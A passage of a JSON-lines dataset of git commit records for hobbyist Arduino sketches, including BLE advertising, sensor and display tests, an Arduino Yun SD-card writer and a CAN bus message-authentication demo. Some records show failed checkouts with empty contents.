'firmware\/LO_mpr121_and_led_test_esp8266_cz\/LO_mpr121_and_led_test_esp8266_cz.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aaba05339ee42d3dc0ac8d96d4ef296fb25d965e","subject":"Add BLESample_Adv_StopsampleCode","message":"Add BLESample_Adv_StopsampleCode\n","repos":"FaBoPlatform\/FaBoBLE-BLE113-Library","old_file":"examples\/AdvertisementStopSample\/AdvertisementStopSample.ino","new_file":"examples\/AdvertisementStopSample\/AdvertisementStopSample.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial bleShield(12, 13);\n\n#define buttonPin A0 \/\/ \u30dc\u30bf\u30f3\u30d4\u30f3\n#define ledPin A1 \/\/ LED\u30d4\u30f3\n\n\/\/ \u30dc\u30bf\u30f3\u306e\u62bc\u4e0b\u72b6\u6cc1\u53d6\u5f97\u7528\nint buttonState = 0;\n\n\nvoid setup() {\n\n \/\/ \u30dc\u30bf\u30f3\u30d4\u30f3\u3092\u5165\u529b\u7528\u306b\u8a2d\u5b9a\n pinMode(buttonPin, INPUT); \n \/\/ LED\u30d4\u30f3\u3092\u51fa\u529b\u7528\u306b\u8a2d\u5b9a\n pinMode(ledPin, OUTPUT); \n \n \/\/ BLE\u3068\u306e\u901a\u4fe1\u7528\n bleShield.begin(9600);\n \/\/ \u30ed\u30b0\u51fa\u529b\u7528\n Serial.begin(9600);\n Serial.write(\"Adv start!\");\n\n \/\/ Set Adv Parameter\n \n bleShield.print(0x00,HEX);\n bleShield.print(0x05,HEX);\n bleShield.print(0x06,HEX);\n bleShield.print(0x08,HEX);\n bleShield.print(0x00,HEX);\n bleShield.print(0x02,HEX);\n bleShield.print(0x00,HEX);\n bleShield.print(0x02,HEX);\n bleShield.print(0x07,HEX);\n}\n\nvoid loop() {\n\n \/\/ \u30dc\u30bf\u30f3\u306e\u62bc\u4e0b\u72b6\u6cc1\u3092\u53d6\u5f97\n buttonState = digitalRead(buttonPin);\n\n \/\/ \u30dc\u30bf\u30f3\u62bc\u4e0b\u5224\u5b9a\n if (buttonState == HIGH) { \n \/\/ LED\u70b9\u706f\n digitalWrite(ledPin, HIGH);\n stopAdv(); \n } \n else {\n \/\/ LED\u6d88\u706f\n digitalWrite(ledPin, LOW); \n startAdv();\n }\n\n}\n\nvoid stopAdv(){\n \/\/SetMode_AdvStop\n bleShield.write((byte)0x00); \/\/ message type ->0x00:command\n bleShield.write((byte)0x02); \/\/ Minimum payload length\n bleShield.write((byte)0x06); \/\/ Message class -> 0x06:Generic Access Profile\n bleShield.write((byte)0x01); \/\/ Message ID\n bleShield.write((byte)0x00); \/\/ GAP Discoverable Mode gap_non_discoverable\n bleShield.write((byte)0x00); \/\/ GAP Connectable Mode gap_discover_limited\n}\n\nvoid startAdv(){\n Serial.println(\"*\");\n bleShield.write((byte)0x00); \/\/ message type ->0x00:command\n bleShield.write((byte)0x02); \/\/ Minimum payload length\n bleShield.write((byte)0x06); \/\/ Message class -> 0x06:Generic Access Profile\n bleShield.write((byte)0x01); \/\/ Message ID\n bleShield.write((byte)0x04);\n bleShield.write((byte)0x00);\n delay(1000);\n byte value[6];\n int i = 0;\n while (bleShield.available()) {\n if(i<6){\n value[i] = bleShield.read();\n\n if( i == 5){\n if(value[0] == 0x00 && \n value[1] == 0x02 &&\n value[2] == 0x06 &&\n value[3] == 0x01 &&\n value[4] == 0x00 && \n value[5] == 0x00)\n {\n Serial.println(\"Command OK[1]\");\n break;\n }\n }\n i++;\n }else if(i>5){\n break;\n }\n }\n Serial.print(\"command1:\");\n for (int j=0 ; j<6 ; j++){\n Serial.print(value[j]);\n Serial.print(\",\");\n }\n\n Serial.println(\"\");\n delay(500);\n\n bleShield.write((byte)0x00); \/\/ 2 :message type ->0x00:command\n bleShield.write((byte)0x20); \/\/ 3 :Minimum payload length\n bleShield.write((byte)0x06); \/\/ 4 :Message class -> 0x06:Generic Access Profile\n bleShield.write((byte)0x09); \/\/ 5 :Message ID\n bleShield.write((byte)0x00); \/\/ 6 :Advertisement data type -> 0x00: sets advertisement data \n bleShield.write((byte)0x1e); \/\/ 7-:Advertisement data to send\n\n bleShield.write((byte)0x02); \/\/\n bleShield.write((byte)0x01);\n bleShield.write((byte)0x06);\n bleShield.write((byte)0x1A);\n bleShield.write((byte)0xFF);\n bleShield.write((byte)0x4C);\n bleShield.write((byte)0x00);\n bleShield.write((byte)0x02);\n bleShield.write((byte)0x15);\n bleShield.write((byte)0xCB);\n bleShield.write((byte)0x86);\n bleShield.write((byte)0xBC);\n bleShield.write((byte)0x31);\n bleShield.write((byte)0x05);\n bleShield.write((byte)0xBD);\n bleShield.write((byte)0x40);\n bleShield.write((byte)0xCC);\n bleShield.write((byte)0x90);\n bleShield.write((byte)0x3D);\n bleShield.write((byte)0x1C);\n bleShield.write((byte)0x9B);\n bleShield.write((byte)0xD1);\n bleShield.write((byte)0x3D);\n bleShield.write((byte)0x96);\n bleShield.write((byte)0x6B);\n bleShield.write((byte)0x00);\n bleShield.write((byte)0x02);\n bleShield.write((byte)0x00);\n bleShield.write((byte)0x01);\n bleShield.write((byte)0xC9);\n\n delay(1000);\n\n i = 0;\n while (bleShield.available()) {\n value[i] = bleShield.read();\n if(i<6){\n\n if( i == 5){\n if(value[0] == 0x00 && \n value[1] == 0x02 &&\n value[2] == 0x06 &&\n value[3] == 0x09 &&\n value[4] == 0x00 && \n value[5] == 0x00)\n {\n Serial.println(\"Command OK[2]\");\n break;\n }\n }\n\n i++;\n }\n }\n Serial.print(\"command2:\");\n for (int k=0 ; k<6 ; k++){\n Serial.print(value[k]);\n Serial.print(\",\");\n }\n Serial.println(\"\");\n\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AdvertisementStopSample\/AdvertisementStopSample.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"92cdc84aa9762dc416a26dc703d867e744a44ab5","subject":"Fixed PID and setpoints to follow course","message":"Fixed PID and setpoints to follow course\n","repos":"buuav\/hackathon1","old_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID\/Wall_AvoidancePID.ino","new_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID\/Wall_AvoidancePID.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ultrasonic' did not match any file(s) known to git\nerror: pathspec 'Wall' did not match any file(s) known to git\nerror: pathspec 'Follower\/Wall_AvoidancePID\/Wall_AvoidancePID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08f77f1b3f2a8da5394844f362a4e205f82997ca","subject":"Changing the forward\/reverse outputs to be PWM pins","message":"Changing the forward\/reverse outputs to be PWM pins\n","repos":"Emiliyan-Sokolov\/diplomna-rabota,Emiliyan-Sokolov\/diplomna-rabota","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89bfcccb386471157fa475e675c68dbff30e4e54","subject":"Create exampleSketch.ino","message":"Create exampleSketch.ino","repos":"buckbaskin\/MatrixMath","old_file":"examples\/exampleSketch.ino","new_file":"examples\/exampleSketch.ino","new_contents":"\/*\n * Code originally from http:\/\/playground.arduino.cc\/Code\/MatrixMath\n * Edited starting on 2\/7\/16 by buckbaskin\n *\/\n#include <MatrixMath.h>\n\n\n#define N (2)\n\nfloat A[N][N];\nfloat B[N][N];\nfloat C[N][N];\nfloat v[N]; \/\/ This is a row vector\nfloat w[N];\n\nfloat max = 10; \/\/ maximum random matrix entry range\n\nvoid setup() {\n\tSerial.begin(9600); \n\n \/\/ Initialize matrices\n for (int i = 0; i < N; i++)\n {\n v[i] = i+1; \/\/ vector of sequential numbers\n for (int j = 0; j < N; j++)\n {\n A[i][j] = random(max) - max\/2.0f; \/\/ A is random\n if (i == j)\n {\n B[i][j] = 1.0f; \/\/ B is identity\n } else\n { \n B[i][j] = 0.0f;\n }\n }\n }\n\n}\n\nvoid loop(){\n\n Matrix.Multiply((float*)A,(float*)B,N,N,N,(float*)C);\n\n Serial.println(\"\\nAfter multiplying C = A*B:\");\n\tMatrix.Print((float*)A,N,N,\"A\");\n\n\tMatrix.Print((float*)B,N,N,\"B\");\n\tMatrix.Print((float*)C,N,N,\"C\");\n Matrix.Print((float*)v,N,1,\"v\");\n\n Matrix.Add((float*) B, (float*) C, N, N, (float*) C);\n Serial.println(\"\\nC = B+C (addition in-place)\");\n Matrix.Print((float*)C,N,N,\"C\");\n Matrix.Print((float*)B,N,N,\"B\");\n\n Matrix.Copy((float*)A,N,N,(float*)B);\n Serial.println(\"\\nCopied A to B:\");\n\tMatrix.Print((float*)B,N,N,\"B\");\n\n Matrix.Invert((float*)A,N);\n Serial.println(\"\\nInverted A:\");\n\tMatrix.Print((float*)A,N,N,\"A\");\n\n Matrix.Multiply((float*)A,(float*)B,N,N,N,(float*)C);\n Serial.println(\"\\nC = A*B\");\n\tMatrix.Print((float*)C,N,N,\"C\");\n\n \/\/ Because the library uses pointers and DIY indexing,\n \/\/ a 1D vector can be smoothly handled as either a row or col vector\n \/\/ depending on the dimensions we specify when calling a function\n Matrix.Multiply((float*)C,(float*)v,N,N,1,(float*)w);\n Serial.println(\"\\n C*v = w:\");\n Matrix.Print((float*)v,N,1,\"v\");\n Matrix.Print((float*)w,N,1,\"w\");\n\nwhile(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/exampleSketch.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"f6221972714fbb39652cc46cec60996e81f29f40","subject":"General Change","message":"General Change\n","repos":"Martin555\/DHT22-OAK","old_file":"firmware\/examples\/PythonDHT_Oak_JFM1_2.ino","new_file":"firmware\/examples\/PythonDHT_Oak_JFM1_2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Martin555\/DHT22-OAK.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"47929108b3e53340b1e3da5e12193199c3f581f5","subject":"Added new example","message":"Added new example\n","repos":"okhiroyuki\/HMC6352,pvazteixeira\/hmc6352,okhiroyuki\/HMC6352_IC2_Master","old_file":"examples\/heading\/heading.ino","new_file":"examples\/heading\/heading.ino","new_contents":"#include <Wire.h>\n#include \"HMC6352.h\"\n\nHMC6352 myCompass;\nfloat heading;\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tdelay(10);\n\tWire.begin();\n\tdelay(10);\n\tSerial.println(\"RESET!\");\n\n\tmyCompass.setOutputMode(0);\n\tSerial.print(\"Output mode: \");\n\tSerial.println(myCompass.getOutputMode());\n}\nvoid loop()\n{\n\theading = myCompass.getHeading();\n\tSerial.println(heading);\n\tdelay(100);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/heading\/heading.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a174c08d549fe5bb6d512e0daac257114e46971","subject":"oled-dispay-sketch.ino: Test display","message":"oled-dispay-sketch.ino: Test display\n\nSimple Arduino sketch for testing mini OLED I2C displays.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"peripherals\/oled-dispay-sketch\/oled-dispay-sketch.ino","new_file":"peripherals\/oled-dispay-sketch\/oled-dispay-sketch.ino","new_contents":"#include <FS.h> \/\/this needs to be first, or it all crashes and burns...\n\n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/ For OLED display\n#include <U8g2lib.h>\n\nU8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\n\nconst int pinButton = 0;\n\nvoid drawDisplay(const char *line1, const char *line2 = \"\", const char *line3 = \"\")\n{\n \/\/ Write on OLED display\n \/\/ Clear the internal memory\n u8g2.clearBuffer();\n \/\/ Set appropriate font\n u8g2.setFont(u8g2_font_ncenR14_tr);\n u8g2.drawStr(0,14, line1);\n u8g2.drawStr(0,39, line2);\n u8g2.drawStr(0,64, line3);\n \/\/ Transfer internal memory to the display\n u8g2.sendBuffer();\n}\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.println();\n u8g2.begin();\n\n delay(10);\n\n \/\/Button\n pinMode(pinButton, INPUT);\n\n Serial.println(\"Testing the OLED I2C display...\");\n drawDisplay(\"TEST\", \"Hello\", \"World\");\n}\n\nvoid loop()\n{\n if (false == digitalRead(pinButton))\n {\n Serial.println(\"Rebooting...\");\n \/\/ Restart the board\n ESP.restart(); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'peripherals\/oled-dispay-sketch\/oled-dispay-sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"305d6914df362cdb5d94f81bcf7b6307c25d434a","subject":"tripwire","message":"tripwire\n","repos":"hunterowens\/digifab_project,hunterowens\/digifab_project","old_file":"arudino\/tripwire\/tripwire.ino","new_file":"arudino\/tripwire\/tripwire.ino","new_contents":"\/\/A basic tripwire using PW input on a MaxSonar Sensor\n\nconst int pwPin = 7;\nconst int ledPin = 13;\nlong pulse, inches;\nlong default_len;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(pwPin,INPUT);\n pulse = pulseIn(pwPin,HIGH);\n default_len = pulse \/ 147;\n \/\/LED Setup\n pinMode(ledPin, OUTPUT);\n Serial.println(default_len);\n}\n\nvoid loop() {\n pulse = pulseIn(pwPin,HIGH);\n inches = pulse\/147;\n if (inches < default_len) {\n digitalWrite(ledPin,HIGH);\n }\n else {\n digitalWrite(ledPin,LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arudino\/tripwire\/tripwire.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1c99f753a6ccc76181aeef49a0fd9cc5786bec0f","subject":"Display 20x4 Example.","message":"Display 20x4 Example.","repos":"marceloh220\/Arduino,marceloh220\/Arduino","old_file":"IHM595\/exemples\/HelloWorld_20x4_Display\/HelloWorld_20x4_Display.ino","new_file":"IHM595\/exemples\/HelloWorld_20x4_Display\/HelloWorld_20x4_Display.ino","new_contents":"\/*\n Marcelo H Moraes\n marceloh220@hotmail.com\n\n Hello World! Using a 20x4 display.\n All the fancy is only for demonstration\n*\/\n\n#include <IHM595.h>\n\nuint8_t s, m, h;\nuint64_t mil;\n\/\/(Data pin, Clock pin, Enable pin)\nIHM595 board(2, 3, 4);\n\nvoid setup() {\n board.config(20, 4);\n board.background(HIGH);\n board.set(2, 0);\n String a = \"Hello World!\";\n board.print(a);\n}\n\nvoid loop() {\n board.set(0, 1);\n board.print(millis() \/ 1000);\n board.print(\"seconds\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IHM595\/exemples\/HelloWorld_20x4_Display\/HelloWorld_20x4_Display.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7344adbc02a26c303accf419d609bbe2eda27f26","subject":"Create yun_http_write_read_SDCARD.ino","message":"Create yun_http_write_read_SDCARD.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"cc\/yun_http_write_read_SDCARD.ino","new_file":"cc\/yun_http_write_read_SDCARD.ino","new_contents":"#include <Bridge.h>\n#include <YunServer.h>\n#include <YunClient.h>\n#include <FileIO.h>\n#include <Process.h>\n\n \nYunServer server;\nString msg;\n\nvoid setup () {\n \n Serial.begin(9600);\n Bridge.begin();\n server.listenOnLocalhost();\n server.begin(); \n while (!Serial);\nrunREAD();\n\n \n}\n \nvoid loop () \n\n\n{\n\n\n \n YunClient client = server.accept(); \/\/check new clients\n \n if(client) {\n String command = client.readStringUntil('\/'); \/\/read the incoming data \n if (command == \"msg\") { \n msg = client.readStringUntil('\/'); \/\/ read the incoming data\n File dataFile = FileSystem.open(\"\/mnt\/sd\/param4.txt\",FILE_WRITE);\n dataFile.print(msg);\n dataFile.close();\n \n }\n client.stop(); \n } \n\n \n}\n\nvoid runREAD() {\n Process p;\n p.begin(\"cat\"); \n p.addParameter(\"\/mnt\/sd\/param4.txt\"); \n p.run();\n\n while (p.available()>0) {\n char c = p.read();\n Serial.print(c);\n }\n Serial.flush();\n\n\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cc\/yun_http_write_read_SDCARD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6dbe3fdcbe939513ca6438537b559bbab2d8e15a","subject":"Add GetHitTime example","message":"Add GetHitTime example\n","repos":"Spaguetron\/ST_HW_HC_SR04","old_file":"examples\/GetHitTime\/GetHitTime.ino","new_file":"examples\/GetHitTime\/GetHitTime.ino","new_contents":"\/*\n#\n# GetHitTime.ino - ST_HW_HC_SR04 v2.0 library example\n#\n# This code shows you how to get the elapsed time the ultrasonic pulses sent\n# by the sensor take from the HC-SR04 location to a blocking object (i.e. wall)\n#\n# The result can be seen every ~1.5 seconds by using the Serial Monitor\n#\n*\/\n\n#include <ST_HW_HC_SR04.h>\n\n\/\/ Change the pins if you wish.\nST_HW_HC_SR04 ultrasonicSensor(13, 12); \/\/ ST_HW_HC_SR04(TRIG, ECHO)\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int hitTime = ultrasonicSensor.getHitTime(); \/\/ In microseconds\n\n \/*\n #\n # This means the sensor didn't receive back the packets before the timeout\n #\n # That usually happens when the distance between the sensor and the block-\n # ing object is greater than 40 centimeters (15.75 inches).\n #\n # Increasing the timeout from 5000 microseconds to 250000 microseconds\n # should be more than enough, at the cost of the code being stuck for 250ms\n # if no packet is received during this peiod (worst case scenario).\n #\n *\/\n if(hitTime == 0) {\n if(ultrasonicSensor.getHitTime() == 5000) {\n Serial.println(\"Timeout happened, retrying with a greater timeout\");\n ultrasonicSensor.setTimeout(2500000);\n\n return; \/\/ Restart the loop\n }\n\n Serial.println(\"Timeout happening even with 250ms timeout, check your \\\n sensor!\");\n }\n\n\n String message = \"The hit time was \" + String(hitTime) + \" microseconds\";\n Serial.println(message);\n\n delay(1500); \/\/ Delay 1500ms (1.5s)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GetHitTime\/GetHitTime.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07249e5ed9bb8bf3f2779c949c025a21776abfd8","subject":"Demo for frequency detection","message":"Demo for frequency detection\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/CAN\/CAN_SHA1_send_freqency_demo\/CAN_SHA1_send_freqency_demo.ino","new_file":"src\/CAN\/CAN_SHA1_send_freqency_demo\/CAN_SHA1_send_freqency_demo.ino","new_contents":"#include \"sha1.h\"\n#include <mcp_can.h>\n#include <SPI.h>\n\n\/\/ CONSTANTS\nconst int SPI_CS_PIN = 9;\nconst uint8_t *MIL_KEY = (const uint8_t *)\"mil key\";\nconst uint8_t *DOOR_KEY = (const uint8_t *)\"door key\";\nconst uint8_t *ENGINE_KEY = (const uint8_t *)\"engine key\";\nconst int MIL_KEY_LEN = 7;\nconst int DOOR_KEY_LEN = 8;\nconst int ENGINE_KEY_LEN = 10;\nconst int MIL_ID = 0x7e0;\nconst int DOOR_ID = 0x7d0;\nconst int ENGINE_ID = 0x7a0;\n\n\n\/\/ Variables\n\n\/\/ For HMAC\nuint8_t *hash;\n\n\nMCP_CAN CAN(SPI_CS_PIN);\n\nvoid setup()\n{\n Serial.begin(115200);\n\n while (CAN_OK != CAN.begin(CAN_500KBPS))\n {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\" Init CAN BUS Shield again\");\n }\n Serial.println(\"CAN BUS Shield init ok!\");\n}\n\n\n\n\nvoid loop()\n{\n \/\/ If user inputted data via serial interface...\n if (Serial.available())\n {\n \/\/ Get the sections of the message and the key as strings\n String sid = Serial.readStringUntil('#');\n String message = Serial.readStringUntil(' ');\n String skey = Serial.readString();\n \n \/\/ Parse and convert them \n uint32_t id = 0;\n id += (uint32_t)(CharToUInt8(sid.charAt(0))) << 8;\n id += (uint32_t)(CharToUInt8(sid.charAt(1))) << 4;\n id += (uint32_t)CharToUInt8(sid.charAt(2));\n uint8_t dlc = CharToUInt8(message.charAt(1));\n String sdata = message.substring(2, 2+(dlc*2));\n uint8_t *data = new uint8_t[8];\n for(int i = 0, j = 0; i < dlc*2; i+=2, j++)\n {\n data[j] = CharToUInt8(sdata.charAt(i)) << 4;\n data[j] += CharToUInt8(sdata.charAt(i+1));\n }\n \n \/\/ Create digest\n const uint8_t *key = (const uint8_t *)skey.c_str();\n Sha1.initHmac(key, skey.length());\n WriteBytes((const uint8_t *)sdata.c_str(), sdata.length());\n hash = Sha1.resultHmac();\n\n \/\/ Create the 3 auth messages\n uint8_t msg1[8] = {0};\n uint8_t msg2[8] = {0};\n uint8_t msg3[8] = {0};\n for(int i = 0; i < 8; i++)\n {\n msg1[i] = hash[i];\n msg2[i] = hash[i+8];\n if (i < 4)\n msg3[i] = hash[i+16];\n }\n\n \/\/ Send the messages\n CAN.sendMsgBuf(id, 0, dlc, data);\n CAN.sendMsgBuf(id, 0, 8, msg1);\n CAN.sendMsgBuf(id, 0, 8, msg2);\n CAN.sendMsgBuf(id, 0, 8, msg3);\n \n \/\/ Print everything to serial interface\n Serial.print(\"ID: 0x\");\n Serial.println(id, HEX);\n Serial.print(\"DLC: \");\n Serial.println(dlc);\n Serial.print(\"Data: \");\n for (int i = 0; i < dlc; i++)\n {\n Serial.print(\"0x\");\n if (data[i] < 0x10)\n Serial.print('0');\n Serial.print(data[i], HEX);\n Serial.print(' ');\n }\n Serial.println();\n Serial.print(\"Key: \");\n Serial.println(skey);\n Serial.print(\"Digest: \");\n for(int i = 0; i < 20; i++)\n {\n if (hash[i] < 0x10)\n Serial.print('0');\n Serial.print(hash[i], HEX);\n }\n Serial.println(\"\\n---------------------------------------\\n\");\n }\n \/\/ Otherwise, generate a random, valid CAN message\n uint32_t id = 0;\n uint8_t dlc = 0;\n unsigned char *stmp = new unsigned char[8];\n GenerateMessage(id, dlc, &stmp[0]);\n CAN.sendMsgBuf(id, 0, dlc, stmp);\n SendAuthMessages(id, dlc, stmp);\n\n \/\/ Display Message on Serial interface\n PrintMessage(id, dlc, &stmp[0]);\n Serial.flush();\n delay(1000);\n}\n\nvoid PrintMessage(uint32_t id, uint8_t dlc, uint8_t *stmp)\n{\n Serial.print(\"ID: \");\n Serial.println(id, HEX);\n Serial.print(\"DLC: \");\n Serial.println(dlc, HEX);\n Serial.print(\"Data: \");\n for (int i = 0; i < dlc; i++)\n {\n if (stmp[i] < 0x10)\n Serial.print('0');\n Serial.print(stmp[i], HEX);\n Serial.print(' ');\n }\n Serial.print(\"\\n\\r-------------------------------------------\\n\\r\");\n}\n\nvoid StampTime(uint8_t *buf)\n{\n unsigned long ms = millis(); \n\n \/\/ Store the timestamp\n buf[0] = (int)((ms >> 24) & 0xFF);\n buf[1] = (int)((ms >> 16) & 0xFF);\n buf[2] = (int)((ms >> 8) & 0xFF);\n buf[3] = (int)((ms & 0xFF));\n}\n\n\nvoid SendAuthMessages(uint32_t id, uint8_t dlc, uint8_t *buf)\n{\n \/\/ Create the digest\n const uint8_t *theKey;\n theKey = GetKey(id);\n int keyLen = GetKeyLen(id);\n String message = \"\";\n for(int i = 0; i < dlc; i++)\n {\n if (buf[i] < 0x10)\n message += '0';\n message += String(buf[i], HEX);\n }\n message.toLowerCase();\n Serial.print(\"Hashing: \");\n Serial.println(message);\n Serial.print(\"Key: \");\n Serial.println((const char *)theKey);\n Sha1.initHmac(theKey, keyLen);\n WriteBytes((const uint8_t *)message.c_str(), message.length());\n hash = Sha1.resultHmac();\n\n \/\/ Create the 3 auth messages\n uint8_t msg1[8];\n uint8_t msg2[8];\n uint8_t msg3[8];\n\n for(int i = 0; i < 8; i++) msg1[i] = hash[i];\n for(int i = 8; i < 16; i++) msg2[i - 8] = hash[i];\n for(int i = 16; i < 20; i++) msg3[i - 16] = hash[i];\n\n \/\/ Fill msg3 last 4 bytes with timestamp\n StampTime(&msg3[4]);\n\n \/\/ Send the auth messages\n CAN.sendMsgBuf(id, 0, 8, msg1);\n CAN.sendMsgBuf(id, 0, 8, msg2);\n CAN.sendMsgBuf(id, 0, 8, msg3);\n\n Serial.print(\"Sending Digest: \");\n PrintHash(hash);\n}\n\nvoid PrintHash(uint8_t *hash)\n{\n for (int i = 0; i < 20; i++)\n {\n if (hash[i] < 0x10)\n Serial.print('0');\n Serial.print(hash[i], HEX);\n }\n Serial.println();\n}\n\n\nconst uint8_t * GetKey(uint32_t id)\n{\n switch(id)\n {\n case MIL_ID:\n return MIL_KEY;\n case DOOR_ID:\n return DOOR_KEY;\n case ENGINE_ID:\n return ENGINE_KEY;\n default:\n return 0;\n }\n}\n\nint GetKeyLen(uint32_t id)\n{\n switch(id)\n {\n case MIL_ID:\n return MIL_KEY_LEN;\n case DOOR_ID:\n return DOOR_KEY_LEN;\n case ENGINE_ID:\n return ENGINE_KEY_LEN;\n default:\n return -1;\n }\n}\n\n\nvoid GenerateMessage(uint32_t &id, uint8_t &dlc, unsigned char *data)\n{\n id = 0x7a0;\n dlc = 2;\n data[0] = 0x0a;\n data[1] = 0x0c;\n return;\n \n int selector = random(3);\n id = SelectMessage(selector);\n dlc = random(9);\n for(int i = 0; i < dlc; i++)\n {\n data[i] = random(0x100); \/\/ each byte is random char between 0..0xFF\n }\n for(int i = dlc; i < 8; i++)\n {\n data[i] = 0;\n }\n}\n\nint SelectMessage(int selector)\n{\n switch(selector)\n {\n case 0: return MIL_ID;\n case 1: return DOOR_ID;\n case 2: return ENGINE_ID;\n default: return -1;\n }\n}\n\n\nvoid WriteBytes(const uint8_t *data, int len)\n{\n for(int i = 0; i < len; i++)\n {\n Sha1.write(data[i]);\n }\n}\n\nvoid CStringHexToUInt8(char *str, uint8_t *buf)\n{\n for(int i = 0, j = 0; i < 40; i+=2, j++)\n {\n buf[j] = CharByteToUInt8(str[i], str[i+1]);\n PrintHexByte(buf[j]);\n Serial.print(' ');\n }\n Serial.println();\n}\n\n\nvoid PrintHexByte(uint8_t val)\n{\n if (val < 0x10)\n Serial.print('0');\n Serial.print(val, HEX);\n}\n\n\nuint8_t *GetFullMessage(char *key, uint8_t &keyLen, uint8_t *data, uint8_t &dataLen, uint8_t &lenVar)\n{\n \/\/ Convert to uint8_t\n uint8_t *theKey = CStringToUInt8(key, keyLen);\n uint8_t *theMessage = data;\n\n \/\/ Concatenate into one full message\n uint8_t *fullMessage = new uint8_t[keyLen + dataLen + 1];\n for(int i = 0; i < dataLen; i++)\n fullMessage[i] = theMessage[i]; \n for(int i = 0; i < keyLen; i++)\n fullMessage[i + dataLen] = theKey[i];\n\n lenVar = keyLen + dataLen;\n}\n\n\nuint8_t *HexToUInt8(char *hexStr, uint8_t &len)\n{\n len = strlen(hexStr);\n uint8_t *buf = new uint8_t[len];\n int bufIndex = 0;\n\n \/\/ Convert each pair of chars (a byte)\n for (int i = 0; i < len; i+=2)\n {\n buf[bufIndex] = CharToUInt8(hexStr[i]) * 16;\n buf[bufIndex] += CharToUInt8(hexStr[i+1]);\n bufIndex++;\n }\n len = len \/ 2;\n \n return buf;\n}\n\n\nuint8_t *CStringToUInt8(char *str, uint8_t &len)\n{\n len = strlen(str);\n uint8_t *buf = new uint8_t[len];\n\n for(int i = 0; i < len; i++)\n {\n \/\/ store and convert from ASCII to integer value\n buf[i] = (uint8_t)str[i];\n }\n\n return buf;\n}\n\nuint8_t CharToUInt8(char ch)\n{\n uint8_t value = ch;\n if (ch >= '0' && ch <= '9')\n value -= '0';\n else if (ch >= 'a' && ch <= 'f')\n value = (ch - 'a') + 10;\n else\n value = (ch - 'A') + 10;\n return value;\n}\n\nuint8_t CharByteToUInt8(char ch1, char ch2)\n{\n uint8_t value = CharToUInt8(ch1);\n value *= 16;\n value += CharToUInt8(ch2);\n return value;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/CAN\/CAN_SHA1_send_freqency_demo\/CAN_SHA1_send_freqency_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"553cd894c3156a0208c601f3f97542f77559cb2a","subject":"Adding HVAC Stuff","message":"Adding HVAC Stuff\n","repos":"itsallvoodoo\/home_automation,itsallvoodoo\/home_automation,itsallvoodoo\/home_automation","old_file":"Arduino_HVAC_Controller\/HVAC_Controller.ino","new_file":"Arduino_HVAC_Controller\/HVAC_Controller.ino","new_contents":"\/\/ name: HVAC_Controller.ino\n\/\/ author: Chad Hobbs\n\/\/ created: 121012\n\/\/ last edit:\n\/\/\n\/\/ description: This program controls multiple temperature sensors via the 1-wire protocol, and turns off and on an HVAC system based on presets\n\/\/ Surface mount 1 address: 103EB683000800F1\n\/\/ Short lead address: 10 18 40 44 0 8 0 70\n\/\/ Long lead address: 10 CE A6 82 2 8 0 3F\n\n\n\n\/\/ -------------LIBRARIES----------------\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ --------------PARAMETERS---------------------\nbyte addrs[2][8] = 